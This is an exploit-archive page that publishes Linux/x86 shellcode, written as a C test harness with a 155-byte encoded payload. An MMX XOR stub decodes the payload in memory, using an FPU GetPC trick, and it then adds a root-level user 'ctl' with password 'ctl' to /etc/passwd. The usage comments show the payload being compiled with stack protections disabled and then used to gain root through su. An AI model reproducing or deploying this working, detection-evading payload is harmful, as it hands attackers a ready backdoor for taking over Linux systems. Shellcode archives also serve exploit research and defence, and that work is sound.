what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode
Posted Apr 24, 2020
Authored by Bobby Cooke

155 bytes small Linux/x86 shellcode that has a MMX stub decoder that dynamically decodes the payload in memory. The FPU GetPC technique is used to determine the offset from EIP dynamically in running memory. Once decoded. this shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file with the UID and GID of 0 (root). This shellcode uses legacy passwd functionality. Therefore the /etc/shadow file does not need to be accessed or modified.

tags | x86, root, shellcode
systems | linux
SHA-256 | d72edd6daaf006feaf82398a3b67d4281ff9258ee56eeaedca56c7d0ab3e4980

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode

Change Mirror Download
// Shellcode Title:  Linux/x86 - Dynamic MMX+FPU Encoded Add Root User Shellcode (155 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Description: This shellcode has a MMX stub decoder that dynamically decodes the payload in memory. The FPU GetPC technique is used to determine the offset from EIP dynamically in running memory. Once decoded. this shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file; with the UID & GID of 0 (root). This shellcode uses legacy passwd functionality. Therefor the /etc/shadow file does not need to be accessed or modified.
// Usage:
// root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// root# ./shellcode
// Shellcode Length: 155
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh
// root# exit
// user$ su ctl
// Password: ctl
// # id
// uid=0(root) gid=0(root) groups=0(root)

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xd9\xee" // fldz ; x87 FPU - Get EIP Technique
"\x9b\xd9\x74\x24\xf4" // fstenv [esp -0xc] ; push EIP at fldz instr to stack
"\x5f" // pop edi ; pop EIP fldz location to EDI
"\x83\xc7\x28" //add edi, 0x28 ; set EDI to memory location of mmx_XOR
"\x0f\x6f\x1f" // movq mm3, qword [edi]; use instructions located here as the XOR decoder
"\x8d\x77\x08" // lea esi, [edi +8] ; set ESI to payload location
"\x31\xc9" // xor ecx, ecx ; clear ECX
"\x41" // inc ecx ; inc ECX to 1
// decode:
"\x0f\x6f\x2e" // movq mm5, qword [esi] ; move 8 bytes of encoded payload to MM3
"\x0f\xef\xeb" // pxor mm5, mm3 ; XOR MM5 with MM3
"\x0f\x7f\x2e" // movq qword [esi], mm5 ; overwrite 8 bytes of encoded payload with decoded
"\x83\xc6\x08" // add esi, 0x8 ; move ESI to the next 8 encoded bytes
"\x83\xf9\x0e" // cmp ecx, 0xe ; is payload decoded?
"\x74\x0b" // je payload ; if decoded, execute payload
"\x41" // inc ecx ; if not, decode next 8 byte
"\xeb\xec" // jmp short decode ; jump to start of decode loop
"\xcc\xee\xd9\xee\xcc\xd9\xd9\xcc" // MMX Decoder Key
// encodedPayload:
// Add Root User to /etc/passwd - user:ctl & pass:ctl
"\x27\xc9\x87\xdf\x0c\x89\x54\xd8\xe8\x11\xaf\xc4\x33\xaf\xff\x41"
"\xc0\xca\x51\xa8\xce\x51\x9f\xf1\x9c\x63\x87\xed\x9f\x54\xc7\x9f"
"\x45\x25\x8a\x67\x2d\x69\xd2\x01\x4c\x06\x0d\x11\x33\x26\xf4\xaf"
"\xef\xc1\xbb\x87\xa2\xf6\xbc\xaf\xa4\x81\xf9\x8d\xb8\xb5\xe3\x82"
"\x82\x99\x83\xd6\x88\xe8\x88\xa6\x9a\x97\xea\xb7\xf6\xe9\xe3\xfc"
"\xf6\xd4\xf6\xd4\xe3\xbb\xb0\xa2\xe3\xc1\xaa\x86\xec\xe7\xe7\xec"
"\xe3\x8b\xad\x8d\xe3\xa9\xb8\xbf\xbf\x99\xbd";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close